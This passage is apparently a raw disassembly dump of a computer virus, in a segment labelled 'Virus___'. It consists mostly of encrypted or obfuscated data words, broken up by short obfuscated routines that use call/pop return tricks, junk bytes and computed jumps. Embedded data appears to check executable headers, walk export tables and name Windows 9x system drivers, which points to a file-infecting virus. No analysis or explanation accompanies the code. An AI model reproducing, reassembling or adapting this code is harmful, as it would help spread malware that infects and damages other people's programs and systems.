		dd 6233CC97h, 677A9388h, 5C000000h, 6F2DC047h, 0DD4BA13Dh
		dd 20F4AA57h, 0F9E23CE7h, 0DAD094AEh, 6C03EB65h, 0D2D04F80h
		dd 9B6B7B41h, 0EB035B3Ah, 0A3649058h, 184A179Ch, 59029064h
		dd 94BF577Eh, 0C2D0E802h, 0BD6ABF48h, 6C0106F6h, 3BE0FC2Eh
		dd 0F62BD386h, 0A5BFEBCEh, 0DDA5A362h, 93059BC9h, 0A41A0DA8h
		dd 201B8D8Dh, 8DA41995h, 0A9C11915h, 363FF41Ah,	6F97B1E3h
		dd 0FE2985BAh, 65FAC45Fh, 0B8418DA3h, 0F176C665h, 0CF655E7Ch
		dd 2B94A926h, 0FD2F9103h, 0C1A8B302h, 30E90E94h, 1E14A7FFh
		dd 0A8F4C3BCh, 7E7494C1h, 68B147C9h, 152EB7DBh,	989308B2h
		dd 16Fh, 55C2477Ah, 0A3664B6Ah,	8FA7CF8Dh, 8CDFE773h, 12CD1A3Eh
		dd 0A60840C7h, 0E92C8B74h, 86AC8DA3h, 0E8FCDE81h, 50628DA3h
		dd 0E7CBE73Ch, 93DDF1DFh, 0A4420DA8h, 59618D8Dh, 7FD0601h
		dd 2CE225FCh, 0D38CFEEFh, 8DA41604h, 3DE1750Fh,	9C5F69A3h
		dd 47399196h, 566E2CC1h, 8B96B706h, 0B402056Dh,	0FAECDFE7h
		dd 0EE7EAEFAh, 470B2739h, 64172BBEh, 0B2052E56h, 46889488h
		dd 6A000000h, 0D3CC147h, 0B1D7DB66h, 0E763BFD7h, 0A3659E3Ch
		dd 0FA161C8Dh, 0B5E7CBE7h, 0A365EBCAh, 423D6F8Dh, 8DA36673h
		dd 60A7FFF7h, 0C3D10AF0h, 4F1B9FFBh, 7A25425Fh,	8DA3DD5Bh
		dd 88BFD7DFh, 4622702Eh, 36h, 8E6DE728h, 41C6DC53h, 9D46B1B7h
		dd 8DA3663Ah, 409CB4BEh, 659E3CE7h, 0F2008DA3h,	0F3DFE7DEh
		dd 78F4E3FBh, 0C2C8EFC8h, 22488DA3h, 0E7CB1D0Ah, 0CCE0393Fh
		dd 52E2270h, 889488B2h,	3Dh, 2BBE476Ah,	9E3CE717h
		dd 0FD8DA365h, 0E5A7B9E1h, 0CC7B503Fh, 9B23717Dh, 10E3DDF3h
		dd 7159CEDCh, 5D9BB5E7h, 0F43383BCh, 0E3363FDAh, 462270CFh
		dd 35h,	1C313C56h, 0C2459E66h, 51BE47F4h, 0A3664F66h, 83DBD38Dh
		dd 43B5E76Fh, 0A3663D98h, 76B1BD8Dh, 0A3660DAFh, 217D918Dh
		dd 363FCBE7h, 5C70CFE3h, 1314C532h, 0FE884687h,	4728FFFFh
		dd 0B46F2DC0h, 94A92219h, 45CFCDD9h, 75C764B9h,	0BB1ADEF1h
		dd 0C1A9F5C0h, 21797594h, 1EBCD4EEh, 0C1A99225h, 0BE1C1694h
		dd 7AB56694h, 9130FF28h, 94C1AA44h, 5D87CF5Bh, 8C6A65A2h
		dd 2AEDh, 924DBF00h, 94C1B243h,	5E78AFC7h, 584EDFE7h, 3DB8554h
		dd 0E47E5D04h, 3BC38DA3h, 395345E6h, 8E241BCEh,	0BAEE99h
		dd 0E7C00000h, 0DF508D6Dh, 0AFA840C7h, 75A39C3Eh, 9494AE6Bh
		dd 68DF7CFAh, 4DC7D5D1h, 1AD271ACh, 6B0D02DFh, 0E15341ECh
		dd 4B499067h, 0BE844590h, 7EA9C594h, 0C43FF8A7h, 0A0F2F89Bh
		dd 0C8E53A6h, 6750F702h, 8DA8C050h, 8582DAD0h, 12CF2AA2h
		dd 0F3DC5B1Dh, 1DBFD70Ah, 0AE80CF22h, 0B440CA94h, 1116AC63h
		dd 5C8E0C26h, 5E14C532h, 0F7CF4099h, 9934C030h,	0BE7F17BEh
		dd 7B939B94h, 3D420A8h,	5E5D5CF7h, 8776A957h, 83Ch, 0D172A751h
		dd 683BEE17h, 22C11AE0h, 0FF8C4DAAh, 8B588575h,	1DDDA877h
		dd 5EA923C0h, 8970F88Bh, 313DB754h, 0B7E14F1Ch,	0C1C1E9CCh
		dd 0C9E56994h, 2DE2373Fh, 47B4CB33h, 65A037E0h,	0A208DA3h
		dd 0A765DAF2h, 9C68A3F3h, 621B84Bh, 899388A6h, 68h, 0C0DFE76Dh
		dd 0F3C22EF2h, 0ECD3F4D2h, 4F4791C4h, 242720D8h, 51CF14D9h
		dd 0C917CDD5h, 0C247EB1h, 2DEBD58Eh, 65EF94AFh,	0F02F479Ah
		dd 964BAED8h, 43020599h, 94BF2A78h, 37E83DC9h, 201F323Dh
		dd 3B409098h, 47EA8DBCh, 1929414Ch, 0E41FC50Dh,	0AB8C6D58h
		dd 6Bh,	1D48FF1h, 8194BEA7h, 37E831C7h,	0F6C0479Fh, 2B8C6DE7h
		dd 0A3666570h, 0B1C9E58Dh, 0EC818676h, 658BF5AEh, 962E94AEh
		dd 70C8C1E0h, 40FB2C5Ch, 23506750h, 0DAD094BFh,	0C14B8D82h
		dd 3123E439h, 217310C5h, 22B104FFh, 353194BFh, 21FA02F2h
		dd 8423D973h, 0BF22FCDBh, 5E767C94h, 0CD4A22E9h, 8F897220h
		dd 539BCA28h, 0C66885Bh, 0B249C3B3h, 0B0E2B06Fh, 0A365F0C7h
		dd 0CD7A708Dh, 0E3B13C3Bh, 65EFC6B1h, 0A9928DA3h, 8DA3660Eh
		dd 0D3DB9892h, 7D5B0454h, 1C94AE6Ah, 81E6F1AAh,	406A94BEh
		dd 0DF7E74C7h, 0CB16E36Dh, 3BD1855Ch, 0D354D4ACh, 0BC607720h
		dd 68E05510h, 1A324A9Fh, 9DD1DFB8h, 9EC05C1Bh, 19DA12A5h
		dd 353E964Eh, 7B93231Ch, 2BD37DCCh, 4D6539F6h, 901D1AD2h
		dd 0C2865902h, 0E00A5524h, 3FC640B2h, 3F3B35EAh, 0D35DCAE2h
		dd 49E9E62Bh, 1523DDF3h, 44B5DFFDh, 0C58FAE99h,	8BD0E439h
		dd 78970B84h, 682D4A7h,	0ED170000h, 10DD9734h, 50A62EFDh
		dd 8B70F88Bh, 3F3BB556h, 0EE3141E2h, 0F98A57A3h, 0BE4D846Fh
		dd 4D1EC336h, 5A67B83h,	0A332ED2Fh, 2794C1C3h, 373F9B97h
		dd 0A966BB40h, 0D242FD15h, 4454F724h, 3BEC2DCAh, 815DC641h
		dd 0CB531C87h, 7540CB29h, 0F58DA3BAh, 0D99FCDE9h, 5C74337Ah
		dd 0F2249604h, 0A403AE09h, 7F28328Dh, 5D41251Eh, 23E2257Dh
		dd 94A9357Ch, 5CBB419Dh, 37857727h, 0D61BBA65h,	979F94C1h
		dd 0F8D9990h, 0E827FA05h, 0B11192DAh, 0A637289Bh, 0BCBAAA61h
		dd 3B0C5B9Fh, 26F9575Bh, 5DF57h, 0D10AF400h, 9EB3BA32h
		dd 24F503CDh, 0F32ECD87h, 0BF609850h, 4BD2ECh, 0CC8427F8h
		dd 935DEE23h, 60E8BB66h, 4CA04394h, 0C446914Ah,	38CA94C1h
		dd 2DC04734h, 0F1F576Fh, 8B834B8Fh, 30934C9Ch, 0A894A9B5h
		dd 0C14B8D82h, 842EE134h, 0DAB59CEFh, 4BFC1491h, 0CAEE33C9h
		dd 575B6AA5h, 7D3EB956h, 12000005h, 0D89033E8h,	0A12BF82Dh
		dd 6BE5865Bh, 36BE4D8Ch, 344A19C2h, 815A9EE9h, 48816AE2h
		dd 15C831BBh, 0DD76FE76h, 0FE8220Eh, 94C1C4A8h,	47969A28h
		dd 313D57C0h, 8893231Ch, 8DA3662Dh, 2CCB81ADh, 486032EDh
		dd 2226914Ah, 80AA94A9h, 0BA67958Fh, 5B31FB7Eh,	64170857h
		dd 520h, 0F5964BB5h, 8C5FF27Bh,	46E536C4h, 13B0698Eh, 0AF7CA159h
		dd 39C18C93h, 628D47E4h, 0A5541CAFh, 0D521AB78h, 8B8D6300h
		dd 0C1C505D0h, 0FDF18594h, 2DE2373Fh, 47B4CB33h, 0C119C238h
		dd 78FE76A9h, 0EF20F501h, 9080BFD7h, 0CF7DB267h, 3EA2BB1Bh
		dd 975F9AFAh, 0DF27A142h, 704A150Ah, 0A88DA366h, 975F9AFAh
		dd 97BC0D52h, 354D3155h, 0E00C0696h, 8C78F82Fh,	806CE45Bh
		dd 0CB4CBC4Fh, 85877022h, 8494AF1Ah, 90980438h,	9E897E13h
		dd 0A31587AFh, 0BEDDDDF8h, 4A976494h, 1D81FA9h,	0D0733EE9h
		dd 94BEDE09h, 2CE0612h,	8C6D31E9h, 2EA4h, 0C0479600h, 72B46F2Dh
		dd 7094AE6Ah, 0BF1AC57Ah, 0A894BE84h, 0E620E2FAh, 0E824ACC8h
		dd 0E12B6B3Fh, 8C6D5946h, 0EE49h, 0CD395300h, 3F832F18h
		dd 62B74037h, 5183D54Ah, 0A3664F66h, 6CDBD38Dh,	54CB14E4h
		dd 925D10DCh, 78F2C07Fh, 8075F80h, 683BEC18h, 0A361E9B1h
		dd 0FA020C8Dh, 2D887321h, 0AD8DA36Ah, 668E8681h, 0AE561EADh
		dd 3532BA75h, 9EA81AB8h, 0B500FB5Ah, 358DA369h,	942EE139h
		dd 7AFAF093h, 0F79194AEh, 485AD50Ch, 7D46914Ah,	0A0CA94BEh
		dd 0DDED467h, 0E3B13C3Bh, 0C2D0B438h, 3DFE79Bh,	419461E1h
		dd 0CF0B1339h, 0D7C5E158h, 37C2BDBDh, 46C0D2EAh, 0BDB768B1h
		dd 10A29DB0h, 64EC4FF8h, 0CD10E994h, 0C284052h,	5E72CF77h
		dd 99E08B84h, 2E000003h, 0F47C0FC4h, 0BD37D409h, 7C162BFh
		dd 0D29A29F0h, 2856F526h, 9DBEBA05h, 24FD06CEh,	0F12CCD87h
		dd 0B9529A52h, 2B1406EAh, 94C1C68Ch, 3F727E0Ch,	0C5ACF63Bh
		dd 4E2F92F4h, 13DB9536h, 0E7052DFEh, 75D2DDFh, 130028F1h
		dd 0EE9E8977h, 0ED6C469h, 59D54F0Bh, 0BAD2555Ch, 0AEC347C1h
		dd 8C83AB94h, 0BEABF6C5h, 99B3E194h, 3082BD60h,	29F323F7h
		dd 8C6D600Eh, 0DD81h, 0B30B00h,	56C0EE91h, 0E7634FF8h
		dd 0DF508D6Dh, 0C8479A65h, 0EB65A2FAh, 538C6C03h, 8EF993Bh
		dd 8E445ED1h, 0B877B069h, 0B06FB048h, 0A3618911h, 17C8348Dh
		dd 0DF70FC74h, 1E8F8860h, 0F5724ABCh, 31EC0DDBh, 339CA4FEh
		dd 0A77EA953h, 94AF7625h, 6ADA6985h, 695240EDh,	9BC3A992h
		dd 7D4A0C16h, 13C99996h, 577D9FBh, 0AA1A7B5Ah, 0F9E7FF8Dh
		dd 371AA1D4h, 898BBCD4h, 8D1FAC71h, 0F2CCA831h,	93E90BEh
		dd 6B54F307h, 8DAA0F4Ch, 6A8EA6CCh, 5E72CD23h, 85BC3FD0h
		dd 1A000002h, 0E0683BD0h, 0A923C015h, 73FD8E53h, 3EB65584h
		dd 3C42E13Ah, 8952A6F1h, 508972FAh, 1DC039B3h, 0A57E864Eh
		dd 37E02A06h, 94C1C7A0h, 3F9E9220h, 5345E63Bh, 659F36E1h
		dd 0B238DA3h, 37E8141Ch, 373F7A94h, 0CB332DE2h,	9B237516h
		dd 0C4BF20CDh, 8DA376F1h, 884D7571h, 33C54249h,	0A91BB934h
		dd 0A3D1E7CEh, 0C4436B8Dh, 0B3F5AB94h, 0C9E594AEh, 0B42C8F56h
		dd 0EB3F94BEh, 5BC661ABh, 3AC98C6Dh, 0AD000000h, 71EDDFE7h
		dd 0ED35B1F5h, 28C5423Ah, 0EA0E386Ah, 0FD2FF631h, 1C94AF38h
		dd 0DB548572h, 0C1ED5CCBh, 3A34874Eh, 0F32794BFh, 0D1BE79A3h
		dd 0C068C6Ch, 53F433ECh, 22h, 664C6E07h, 888F8DA3h, 0E2CCB7E5h
		dd 1094AE72h, 62525460h, 0F1A2F75Eh, 0BF188B2Ah, 0CFE70F94h
		dd 0C047123Ch, 0D78CCB3Dh, 0C33BBAABh, 96BBC34Dh
		dd 66344C09h, 0AED51BBDh, 98979F94h, 0BF16E2F9h, 1FA7F594h
		dd 0A5C315D3h, 742A1DE3h, 0F83BF41Ch, 39858C6Ch, 154D99A1h
		dd 4904C153h, 0F413B6FEh, 8A6CA5CDh, 3CB8C476h,	38260Bh
		dd 0E7080000h, 4E78F6DFh, 0C44E76ABh, 3A9D4661h, 0BE8DA3BAh
		dd 0F8AB9CB4h, 8DA3B9E1h, 0C8E1F18h, 0AEC67D53h, 23717D94h
		dd 0A8AF06F1h, 3B3394BEh, 0D17B2D0Ch, 663CF326h, 6DE709A1h
		dd 22DA4D80h, 510A8825h, 94A9215Eh, 0D871FA52h,	8C781280h
		dd 34C0885Bh, 62EC2CE3h, 29C34495h, 0BB1AC52Eh,	3F94C1A9h
		dd 0C2BD1F37h, 9BC76A50h, 0A01280AAh, 0AF3B4114h, 8A733DD9h
		dd 0B2CAD857h, 291EC338h, 790ADF27h, 8B7007EFh,	0ADC5D956h
		dd 0F07DFA72h, 0D2FF9A2h, 0BBB394AFh, 5DBE1A7Fh, 4534EB57h
		dd 0B8h, 5DEE23CDh, 14B76A93h, 0AE7D9E5Ch, 7B08D126h, 37D409F1h
		dd 0A159240Bh, 0DA25AF7Ch, 0DEC6407h, 4DB933D0h, 3365CB98h
		dd 0C1C96D48h, 5559ED94h, 6F2DC047h, 96651AE5h,	0A4F4334Bh
		dd 0A9262DFBh, 0AE618D94h, 0CE374EB6h, 0A820C31Bh, 0CD948B5Ch
		dd 8D089F89h, 0F3E62EE2h, 0C47BAE59h, 0CF3739EEh, 35AC6B0Ah
		dd 0D28F4063h, 0D4E008A1h, 9744B2D3h, 0DAF20A98h, 62B7BF09h
		dd 5E396BADh, 9C64A877h, 3C34F3FBh, 332DE23Fh, 9A4FB6C5h
		dd 0AA53CD42h, 38E0B877h, 0A11383D8h, 9C8B5EA7h, 0A74F8ACAh
		dd 45CFD172h, 0E835C5BAh, 0C0479F37h, 0BC73A450h, 33Dh
		dd 0F10DB500h, 231C353Fh, 1F10C531h, 1609D425h,	33CD51Eh
		dd 0FB34E911h, 0F32CF109h, 0E827FA01h, 0E6598278h, 0DD52876Eh
		dd 718768D3h, 34890000h, 81E68924h, 4C6h, 4EE8300h, 5C243487h
		dd 393668h, 24048900h, 81E78957h, 4C7h,	4EF8300h, 5C243C87h
		dd 56240C89h, 8C259E68h, 0BA525E76h, 6F9A477Eh,	815AD629h
		dd 7D2CA6C6h, 48C6815Ch, 89A3AF3Bh, 8B545EF0h, 0C481240Ch
		dd 4, 1FBD5550h, 2939CB4Ch, 5D04246Ch, 8108418Fh, 4C1F0841h
		dd 0C8B39CBh, 0E0895024h, 405h,	4C08300h, 5C240487h, 582434FFh
		dd 0E904C483h, 0FFFD1858h
		db 55h,	91h, 0DDh
; ---------------------------------------------------------------------------


loc_5716CB:				; CODE XREF: sub_56E721:loc_56F6A1j
		mov	eax, 71E64CFh
		add	eax, ebp
		jmp	eax
sub_56E721	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 3B219E02h, 53B0E619h, 13DAC92Dh, 5CB5B212h, 27189A6h
		dd 263CFF94h, 5E8h, 32CD1300h, 91BE48DAh, 5B238264h, 820Fh
		dd 0C3810000h, 6C99h, 0B9FCh, 12E90000h, 47000000h, 0B686683Ch
		dd 7F47D9Ah, 0AA97124h,	0FAF5924Dh, 1934FF65h, 0F309A6B8h
		dd 8C0F5A32h, 5, 92F7EAB8h, 0C6EA8127h,	0F87D2321h, 9358F281h
		dd 0F607E04h, 0BA66DFBFh, 8161BE30h, 0B9FBBAC2h, 76B8666Eh
		dd 5AB852EDh, 8F25CE2Dh, 14E80B04h, 19000000h, 0BE8F8BE0h
		dd 0E8EF42B6h, 721A8292h, 4E6179D8h, 0BF71EACBh, 6A38ED15h
		dd 4870F58h, 66000000h,	83F73ABEh, 0E95603E9h, 9, 5389E48Dh
		dd 5031A3Dh, 604958A5h,	13E9h, 0D3C47300h, 0E9823B5Fh
		dd 0BC149BDEh, 0AF3D4616h, 815A0A04h, 11E9h, 9F966900h
		dd 0E3F4B9FDh, 19897A56h, 8B6E6DDAh, 8161956Dh,	0FF9450F9h
		dd 4A850FFFh, 51FFFFFFh, 83E958FCh, 53000000h, 57565251h
		dd 1C245C8Bh, 4D3B8166h, 68850F5Ah, 0F000000h, 33C43B7h
		dd 3B8166D8h, 850F4550h, 57h, 3785B8Bh,	8B1C245Ch, 74032473h
		dd 8B561C24h, 738B207Bh, 247C031Ch, 24740320h, 0C983FC20h
		dd 5C8B41FFh, 178B1C24h, 20245403h, 8A04C783h, 74C08402h
		dd 75033A08h, 0EB4243E8h, 75033AF2h, 0E1D15FE0h, 0F04B70Fh
		dd 386048Bh, 5F1C2444h,	5B595A5Eh, 330008C2h, 0FFF1E9C0h
		dd 0CA8BFFFFh, 464934EBh, 52474D53h, 4B562020h,	20202044h
		dd 4D562020h, 2020204Dh, 57562020h, 32334E49h, 58562020h
		dd 52444C44h, 2020h, 2 dup(0)
		dd 0A9E90000h, 0E9000007h, 0Dh,	0E73AEDF7h, 56662D25h
		dd 5F40FB27h, 0BE9608Eh, 50000000h, 89B17D99h, 0FC86FE46h
		dd 85C7F273h, 71E6728h,	0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5718DB
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5718DB	proc near		; CODE XREF: Virus___:005718D3p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5718DB	endp

; ---------------------------------------------------------------------------
		db 2Ch
; ---------------------------------------------------------------------------
		mov	eax, esi
		jmp	loc_571906
; ---------------------------------------------------------------------------
		db 8Eh
		dd 8FD90B31h, 0C5398F9Ch, 8F9E7A0Dh, 0A54C3C8Bh
; ---------------------------------------------------------------------------
		push	esi
		movsb


loc_571906:				; CODE XREF: Virus___:005718EEj
		movzx	ebx, ax
		jns	loc_57191E
		jmp	loc_57191E
; ---------------------------------------------------------------------------
		dd 0A55154CDh, 4637899h
		db 0FEh, 0B4h
; ---------------------------------------------------------------------------


loc_57191E:				; CODE XREF: Virus___:00571909j
					; Virus___:0057190Fj
		shr	eax, 10h
		push	0
		push	ecx
		call	sub_57192C
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57192C	proc near		; CODE XREF: Virus___:00571924p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_57192C	endp

; ---------------------------------------------------------------------------
		dd 16820F7Eh, 60000000h, 0DE9h,	7F9B5700h, 0B3B858A4h
		dd 1A64C247h, 58524184h, 0C166F861h, 6A08C8h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 4E2855C3h
		dd 257249CCh, 0CE90Ah, 0A58D0000h, 0C7F6A4CDh, 6618135Dh
		dd 8589A96Bh, 71E672Ch,	0CBC166F9h, 0FB83F508h,	8E850F40h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 79F9C350h, 0DE9h, 369DA800h, 0B17D9950h
		dd 86FE4689h, 0BD8D73FCh, 71E6700h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 14h, 8DC35040h, 11E9h, 4B7EE300h
		dd 2518E875h, 41E1F78h,	0D0372B4Bh, 24E96883h, 6A000002h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 4C35C351h, 0D2D8D54Ch, 0DFB83B9h,	9E850Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0AB849C3h, 0ACAB6B6h, 8BD8DF8h, 0E9071E67h
		dd 0Ch,	49077F34h, 1B426A6Bh, 5CBAF4Ah,	0C800Fh, 870F0000h
		dd 6, 8F0Fh, 0A8E90000h, 6A000001h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0AE79C355h
		dd 0E860F2B6h, 13h, 14573BB2h, 291AE398h, 77DCFE5Ch, 0DDE58530h
		dd 0B643514Ah, 0CE95B25h, 2E000000h, 13C97CC5h,	1BBA73C4h
		dd 61073B02h, 0F01FB83h, 7285h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0B37AA0BAh
		dd 8DF8FC89h, 1E6710BDh, 7810F07h, 0F000000h, 18Fh, 18E9FC00h
		dd 6A000001h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0F1EC351h, 1684h, 10800F00h, 0E9000000h
		dd 0Bh,	0A3324C73h, 88EC8B5Fh, 83B68142h, 850F2AFBh, 87h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0EDC35646h
		dd 12870FDCh, 0E9000000h, 0Dh, 1E974620h, 0AADAC40Ch, 0E18F5453h
		dd 0BD8DF9D6h, 71E6718h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ch, 15C35141h, 3B8C3954h,	123CAB9h, 71E9F5h
		dd 81600000h, 3D3E72CAh, 5A56605Dh, 5E9h, 41A50900h, 61618C0Eh
		dd 9CBB6660h, 0E081664Ah, 8361EFE2h, 850F27FBh,	2B4h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 38C35545h, 0AE9h
		dd 33E65200h, 373C84E7h, 60EFB1ABh, 8D61DEB3h, 1E6720BDh
		dd 0C860F07h, 0F000000h, 68Ah, 8A0F00h,	89000000h, 1E6730BDh
		dd 8C66FC07h, 324F9C8h,	0FC00AF5h, 1C485h, 0B58DF800h
		dd 71E6D58h, 8B61FC60h,	1E6E4F85h, 6160F807h, 0EE992h
		dd 77EA0000h, 25E4D9DEh, 844AEECCh, 0E53AFBF1h,	0E9525050h
		dd 0Ch,	4977BBE3h, 0A79412FBh, 16407C46h, 0E960310Fh, 11h
		dd 709718CAh, 1624960Ch, 5762FD1Eh, 718A5C75h, 0F18B6657h
		dd 92585A61h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 17h,	5FC35242h, 0FCC21271h, 244C010Fh, 51006AFEh, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
		dd 0F608013h, 0F60D7BFh, 850FC6B7h, 0
; ---------------------------------------------------------------------------
		popa
		popa
		pop	edx
		push	0
		push	edi
		call	sub_571D06
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_571D06	proc near		; CODE XREF: Virus___:00571CFEp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_571D06	endp

; ---------------------------------------------------------------------------
		dw 69Ah
		dd 830FAB22h, 1, 24C283F8h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 96C35242h, 890F91F6h,	7, 1890Fh, 66FC0000h
		dd 6AFC7289h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0FD5FC353h, 0B6660DF9h, 5D36C0BAh
		dd 13E9h, 326C5F00h, 0C2375D03h, 7139A374h, 0B0739AA4h
		dd 2E049393h, 198E0Fh, 14E90000h, 5D000000h, 5AC9F5DBh
		dd 44F1570Eh, 6BD8A4FFh, 0B79C172Bh, 0C1421558h, 0B06010CEh
		dd 0D8CBB82Bh, 0FC61476Ch, 2728966h, 6A04CDF8h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 5B2AC355h, 0E9F8A67Bh, 88h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0F7C35040h,	7E970h,	40EE0000h
		dd 41268708h, 4F858B89h, 0F071E6Eh, 0F8Fh, 0AE900h, 366B0000h
		dd 0E3E68226h, 396AD008h, 6D58B58Dh, 8060071Eh,	68BE59DAh
		dd 614F69CFh, 3D0F858Dh, 0FFF8071Eh, 57006AD0h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0EC6A35DCh
		dd 0B395F859h, 18F0F12h, 0FC000000h, 67288589h,	0E960071Eh
		dd 12h,	659A4ECEh, 0D19AD28Bh, 0FEACD2BDh, 16D5AAACh, 10E9326Dh
		dd 74000000h, 5793B41Ah, 4D796C5Ch, 867437FFh, 61F2FE1Ah
		dd 9E961h, 377F0000h, 0F77D1F4h, 8BCB30BDh, 1E672885h
		dd 0FC3F807h, 183h, 6A60F900h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0FC93C353h,	0CD776FCEh
		dd 0F2C82B6Eh, 0CE9h, 0A7118100h, 0DBB13F7Dh, 35604CA9h
		dd 4FBD8396h, 71E6Eh, 90850Fh, 6A0000h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0D6A5CC3h
		dd 999BE9D9h, 0F75B326h, 1489h,	0E8A0F00h, 0E9000000h
		dd 9, 82363FCCh, 5B3E1B56h, 5E92Fh, 2BD30000h, 0C766B47Fh
		dd 1E6E4F85h, 1013F07h,	57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 5E9F924h, 55000000h, 42CFD013h
		dd 9E960h, 0F9360000h, 0CB608250h, 60424A74h, 5F566160h
		dd 1CE96161h, 0F9000000h, 15880Fh, 0B9600000h, 51A100A3h
		dd 9E9h, 6E5D3800h, 0BE23F9FBh,	0CD6129E2h, 20h, 74C00B00h
		dd 0C708D37h, 6730BD8Bh, 8B9071Eh, 0A6000000h, 75492275h
		dd 30488BFAh, 672C9D8Bh, 583B071Eh, 8B157F34h, 4D26BD3h
		dd 18BCA03h, 67288589h,	4EB071Eh, 0C5EB008Bh, 28858B61h
		dd 0CF071E67h, 5CF38060h, 5E9h,	9E1BF600h, 6A61AEFEh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 921C353h, 8766BC04h,	0CB913BE4h, 7870Fh, 830F0000h
		dd 1, 666060FCh, 6DDBF081h, 61616160h, 12E9C08Bh, 7C000000h
		dd 508852h, 3 dup(0)
		dd 4F9E900h, 353F0000h,	78854F1Ch, 0A84E06A5h, 0E318D073h
		dd 17E36D3Eh, 161939CAh, 0D172AF4Bh, 9635EC17h,	25C61BDEh
		dd 0FD8E43ABh, 7B5A0517h, 0FF94C1D5h, 373F436Fh, 0C7332DE2h
		dd 77FF491Ah, 0BF36DA2h, 1EE759D6h, 1CDC54CBh, 0CF409561h
		dd 0F060DFF7h, 0F05ED10Ah, 0D3BFD43Ch, 72A4B71Fh, 0A3662E89h
		dd 0B36E8B8Dh, 333DEA00h, 0FB7516CBh, 4800A37Eh, 99B36CB1h
		dd 0AF49435Dh, 0C344A84Eh, 2173A651h, 100FD227h, 90271082h
		dd 108DA38Eh, 0EE662D1Ah, 0E35DD207h, 6E95D514h, 0B3FE3701h
		dd 1404A49Bh, 3F7A7BCh,	3CE118D3h, 0C419E56Fh, 0C232884Bh
		dd 66918DA3h, 79847CB3h, 0C9516BA4h, 41D5F089h,	4A30CB11h
		dd 7C7F9388h, 53000000h, 0B940373Fh, 30D34C64h,	8DA365A7h
		dd 223161B5h, 65B007F0h, 0F0098DA3h, 0A3648E2Dh, 88A687A0h
		dd 10693h, 0E7E80000h, 3D9843B5h, 0BD8DA366h, 664B6AB1h
		dd 0A7CF8DA3h, 204BBA9Fh, 3EE9EAB3h, 251ACF36h,	8D0FC22Bh
		dd 0ED55605Bh, 0C9D58DA3h, 0AB2413BAh, 1E0921CEh, 0C71AE153h
		dd 0CA0ACE48h, 6133E60Fh, 6971443Fh, 0F5F18DA3h, 68D9FCA7h
		dd 4D598DA3h, 0DF973DAh, 3FE70BD8h, 3729E63Bh, 60241BCEh
		dd 3ED31C36h, 0A47AAD01h, 82516D6Ch, 83589E45h,	8B9C4B7Bh
		dd 0BB64949Ch, 439460E8h, 75A654CCh, 0DC34E0BAh, 5D08BFDh
		dd 858DA464h, 7CA7BE69h, 139387AAh, 6Bh, 0B0698FB9h, 599E39E2h
		dd 8228DA4h, 3B3FB31Fh,	0C13729E6h, 6A90BA18h, 5FBB76B1h
		dd 78803B9Bh, 9D5BF5A7h, 34F3C37Ch, 429F5B15h, 75A453CDh
		dd 0DC34E0BAh, 88A7EB34h, 22895593h, 0D5BE8C30h, 3B2C0D3Ah
		dd 70000000h, 0C982550Eh, 0EC068DA3h, 3B3F9F3Bh, 0C23729E6h
		dd 0E434201Fh, 588575ACh, 5187627Ah, 58335E11h,	3F224CEFh
		dd 652CE336h, 8DA36657h, 5B81D145h, 9388A5A0h, 1EFh, 6DE7C300h
		dd 0DA07F38Ch, 6B938D82h, 0D2579B6h, 9DDC1A1Ah,	3280BF52h
		dd 5FE9B0Ah, 0A9C14D05h, 0DD76FE76h, 0CA07F262h, 0A2607078h
		dd 9065E59h, 639E017h, 0F630E90Eh, 595F222h, 2CCA0151h
		dd 6BEC5CEFh, 41E7D0C2h, 0A194AE96h, 0FC7D1785h, 89A17883h
		dd 4C0B3C96h, 54F728D4h, 1DBF509Ch, 752E8573h, 94BED962h
		dd 7BB4CCE6h, 6E31FC2Bh, 94BED949h, 43ACA6F0h, 89C9998Eh
